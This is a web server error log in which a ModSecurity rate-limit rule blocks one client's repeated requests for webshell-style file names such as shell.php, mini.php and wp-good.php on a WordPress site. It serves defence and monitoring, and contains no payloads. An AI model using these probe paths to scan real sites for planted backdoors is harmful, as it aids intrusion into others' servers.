[Sat Apr 18 02:37:46.496763 2026] [:error] [pid 59042:tid 59063] [client 51.120.90.220:24137] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "aeJ9-p6p5oql0UklEBJojQAAABA"]
[Sat Apr 18 02:37:47.044112 2026] [:error] [pid 63702:tid 63744] [client 51.120.90.220:23936] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aeJ9-8TL05PWYsKqTEYwNwAAAUU"]
[Sat Apr 18 02:37:47.736004 2026] [:error] [pid 59042:tid 59047] [client 51.120.90.220:23940] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aeJ9-56p5oql0UklEBJolAAAAAA"]
[Sat Apr 18 02:37:48.443818 2026] [:error] [pid 59042:tid 59058] [client 51.120.90.220:24155] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aeJ9_J6p5oql0UklEBJomAAAAAs"]
[Sat Apr 18 02:37:49.030322 2026] [:error] [pid 59043:tid 59074] [client 51.120.90.220:24169] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aeJ9_YRtUGE9SfUh2wwjeAAAAEA"]
[Sat Apr 18 02:37:49.584274 2026] [:error] [pid 59044:tid 59114] [client 51.120.90.220:24136] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aeJ9_QFamkFyEtD_SMHR_QAAAI0"]
[Sat Apr 18 02:37:50.253793 2026] [:error] [pid 63702:tid 63739] [client 51.120.90.220:23995] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aeJ9_sTL05PWYsKqTEYwRwAAAUE"]
[Sat Apr 18 02:37:50.806252 2026] [:error] [pid 59042:tid 59057] [client 51.120.90.220:24172] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aeJ9_p6p5oql0UklEBJopAAAAAo"]
[Sat Apr 18 02:37:51.339421 2026] [:error] [pid 59043:tid 59075] [client 51.120.90.220:23969] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aeJ9_4RtUGE9SfUh2wwjeQAAAEE"]
[Sat Apr 18 02:37:52.002196 2026] [:error] [pid 63702:tid 63747] [client 51.120.90.220:23956] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "aeJ-AMTL05PWYsKqTEYwXAAAAUg"]
[Sat Apr 18 02:37:52.668465 2026] [:error] [pid 63702:tid 63762] [client 51.120.90.220:24133] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "aeJ-AMTL05PWYsKqTEYwYgAAAVU"]
[Sat Apr 18 02:37:53.235069 2026] [:error] [pid 59042:tid 59067] [client 51.120.90.220:24161] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "aeJ-AZ6p5oql0UklEBJorgAAABQ"]
[Sat Apr 18 02:37:53.790948 2026] [:error] [pid 59042:tid 59051] [client 51.120.90.220:23963] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "aeJ-AZ6p5oql0UklEBJotQAAAAQ"]
[Sat Apr 18 02:37:54.412083 2026] [:error] [pid 42442:tid 42467] [client 51.120.90.220:8143] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "aeJ-Aj4PBGqL_yqPJ8lWBgAAARc"]
[Sat Apr 18 02:37:55.035863 2026] [:error] [pid 42442:tid 42448] [client 51.120.90.220:23957] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "aeJ-Az4PBGqL_yqPJ8lWDQAAAQQ"]
[Sat Apr 18 02:37:55.592874 2026] [:error] [pid 42442:tid 42458] [client 51.120.90.220:8145] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "aeJ-Az4PBGqL_yqPJ8lWEQAAAQ4"]
[Sat Apr 18 02:37:56.422383 2026] [:error] [pid 63702:tid 63756] [client 51.120.90.220:23954] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "aeJ-BMTL05PWYsKqTEYwagAAAU8"]
[Sat Apr 18 02:37:57.064617 2026] [:error] [pid 59136:tid 59153] [client 51.120.90.220:24130] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aeJ-BSaoiUyiIR3EhLXQ1gAAAM4"]
[Sat Apr 18 02:37:57.696495 2026] [:error] [pid 42442:tid 42461] [client 51.120.90.220:24183] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aeJ-BT4PBGqL_yqPJ8lWFQAAARE"]
[Sat Apr 18 02:37:58.621632 2026] [:error] [pid 59136:tid 59161] [client 51.120.90.220:24150] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aeJ-BiaoiUyiIR3EhLXQ2gAAANY"]
[Sat Apr 18 02:37:59.335278 2026] [:error] [pid 59044:tid 59103] [client 51.120.90.220:8130] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aeJ-BwFamkFyEtD_SMHSCAAAAII"]
[Sat Apr 18 02:38:00.319468 2026] [:error] [pid 63702:tid 63747] [client 51.120.90.220:24186] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aeJ-CMTL05PWYsKqTEYwcQAAAUg"]
[Sat Apr 18 02:38:01.030857 2026] [:error] [pid 59044:tid 59111] [client 51.120.90.220:8165] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aeJ-CQFamkFyEtD_SMHSCwAAAIo"]
[Sat Apr 18 02:38:01.684376 2026] [:error] [pid 42442:tid 42452] [client 51.120.90.220:23972] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aeJ-CT4PBGqL_yqPJ8lWGwAAAQg"]
[Sat Apr 18 02:38:02.254740 2026] [:error] [pid 59044:tid 59104] [client 51.120.90.220:23950] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aeJ-CgFamkFyEtD_SMHSFAAAAIM"]
[Sat Apr 18 02:38:02.837045 2026] [:error] [pid 59136:tid 59149] [client 51.120.90.220:24145] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bmi.php"] [unique_id "aeJ-CiaoiUyiIR3EhLXQ6AAAAMo"]
[Sat Apr 18 02:38:03.412033 2026] [:error] [pid 59136:tid 59146] [client 51.120.90.220:23977] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bmi.php"] [unique_id "aeJ-CyaoiUyiIR3EhLXQ8QAAAMc"]
[Sat Apr 18 02:38:04.018630 2026] [:error] [pid 59136:tid 59157] [client 51.120.90.220:23966] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bmi.php"] [unique_id "aeJ-DCaoiUyiIR3EhLXQ9QAAANI"]
[Sat Apr 18 02:38:04.758641 2026] [:error] [pid 59044:tid 59121] [client 51.120.90.220:24164] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bmi.php"] [unique_id "aeJ-DAFamkFyEtD_SMHSFwAAAJQ"]
[Sat Apr 18 02:38:05.382320 2026] [:error] [pid 63702:tid 63737] [client 51.120.90.220:24157] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aeJ-DcTL05PWYsKqTEYwdwAAAUA"]
[Sat Apr 18 02:38:06.089489 2026] [:error] [pid 59043:tid 59078] [client 51.120.90.220:23960] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aeJ-DoRtUGE9SfUh2wwjjAAAAEQ"]
[Sat Apr 18 02:38:06.731443 2026] [:error] [pid 42442:tid 42461] [client 51.120.90.220:23984] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aeJ-Dj4PBGqL_yqPJ8lWJgAAARE"]
[Sat Apr 18 02:38:07.298708 2026] [:error] [pid 59136:tid 59162] [client 51.120.90.220:23942] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aeJ-DyaoiUyiIR3EhLXQ-wAAANc"]
[Sat Apr 18 02:38:08.233367 2026] [:error] [pid 42442:tid 42457] [client 51.120.90.220:24139] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aeJ-ED4PBGqL_yqPJ8lWKwAAAQ0"]
[Sat Apr 18 02:38:08.978298 2026] [:error] [pid 63702:tid 63758] [client 51.120.90.220:24154] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aeJ-EMTL05PWYsKqTEYwhgAAAVE"]
[Sat Apr 18 02:38:09.510284 2026] [:error] [pid 42442:tid 42463] [client 51.120.90.220:24143] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aeJ-ET4PBGqL_yqPJ8lWLgAAARM"]
[Sat Apr 18 02:38:10.320475 2026] [:error] [pid 59043:tid 59088] [client 51.120.90.220:24166] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aeJ-EoRtUGE9SfUh2wwjmAAAAE4"]
[Sat Apr 18 02:38:11.292716 2026] [:error] [pid 63702:tid 63737] [client 51.120.90.220:8144] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aeJ-E8TL05PWYsKqTEYwjAAAAUA"]
[Sat Apr 18 02:38:11.854689 2026] [:error] [pid 63702:tid 63743] [client 51.120.90.220:23939] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aeJ-E8TL05PWYsKqTEYwkQAAAUQ"]
[Sat Apr 18 02:38:12.423354 2026] [:error] [pid 63702:tid 63761] [client 51.120.90.220:24160] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aeJ-FMTL05PWYsKqTEYwlgAAAVQ"]
[Sat Apr 18 02:38:13.065249 2026] [:error] [pid 63702:tid 63763] [client 51.120.90.220:8155] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aeJ-FcTL05PWYsKqTEYwnQAAAVY"]
[Sat Apr 18 02:38:13.630615 2026] [:error] [pid 42442:tid 42464] [client 51.120.90.220:8174] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboute.php"] [unique_id "aeJ-FT4PBGqL_yqPJ8lWOwAAARQ"]
[Sat Apr 18 02:38:14.224955 2026] [:error] [pid 42442:tid 42462] [client 51.120.90.220:23961] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboute.php"] [unique_id "aeJ-Fj4PBGqL_yqPJ8lWPwAAARI"]
[Sat Apr 18 02:38:14.838487 2026] [:error] [pid 59042:tid 59051] [client 51.120.90.220:23951] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboute.php"] [unique_id "aeJ-Fp6p5oql0UklEBJo5AAAAAQ"]
[Sat Apr 18 02:38:15.590343 2026] [:error] [pid 42442:tid 42468] [client 51.120.90.220:8139] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboute.php"] [unique_id "aeJ-Fz4PBGqL_yqPJ8lWSgAAARg"]
[Sat Apr 18 02:38:16.483850 2026] [:error] [pid 59044:tid 59119] [client 51.120.90.220:8147] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "aeJ-GAFamkFyEtD_SMHSKwAAAJI"]
[Sat Apr 18 02:38:17.158204 2026] [:error] [pid 59044:tid 59111] [client 51.120.90.220:23967] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "aeJ-GQFamkFyEtD_SMHSMgAAAIo"]
[Sat Apr 18 02:38:17.718623 2026] [:error] [pid 59136:tid 59162] [client 51.120.90.220:23946] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "aeJ-GSaoiUyiIR3EhLXRCgAAANc"]
[Sat Apr 18 02:38:18.391176 2026] [:error] [pid 42442:tid 42455] [client 51.120.90.220:24132] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "aeJ-Gj4PBGqL_yqPJ8lWWQAAAQs"]
[Sat Apr 18 02:38:19.039882 2026] [:error] [pid 42442:tid 42458] [client 51.120.90.220:24135] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "aeJ-Gz4PBGqL_yqPJ8lWWwAAAQ4"]
[Sat Apr 18 02:38:19.637430 2026] [:error] [pid 42442:tid 42468] [client 51.120.90.220:23946] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "aeJ-Gz4PBGqL_yqPJ8lWYgAAARg"]
[Sat Apr 18 02:38:20.439868 2026] [:error] [pid 59042:tid 59052] [client 51.120.90.220:23975] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "aeJ-HJ6p5oql0UklEBJo-AAAAAU"]
[Sat Apr 18 02:38:21.582385 2026] [:error] [pid 63702:tid 63741] [client 51.120.90.220:24191] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "aeJ-HcTL05PWYsKqTEYwqAAAAUM"]
[Sat Apr 18 02:38:22.492055 2026] [:error] [pid 63702:tid 63762] [client 51.120.90.220:8172] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aeJ-HsTL05PWYsKqTEYwrQAAAVU"]
[Sat Apr 18 02:38:23.319142 2026] [:error] [pid 42442:tid 42454] [client 51.120.90.220:24180] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aeJ-Hz4PBGqL_yqPJ8lWcAAAAQo"]
[Sat Apr 18 02:38:24.279165 2026] [:error] [pid 59044:tid 59117] [client 51.120.90.220:24158] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aeJ-IAFamkFyEtD_SMHSSAAAAJA"]
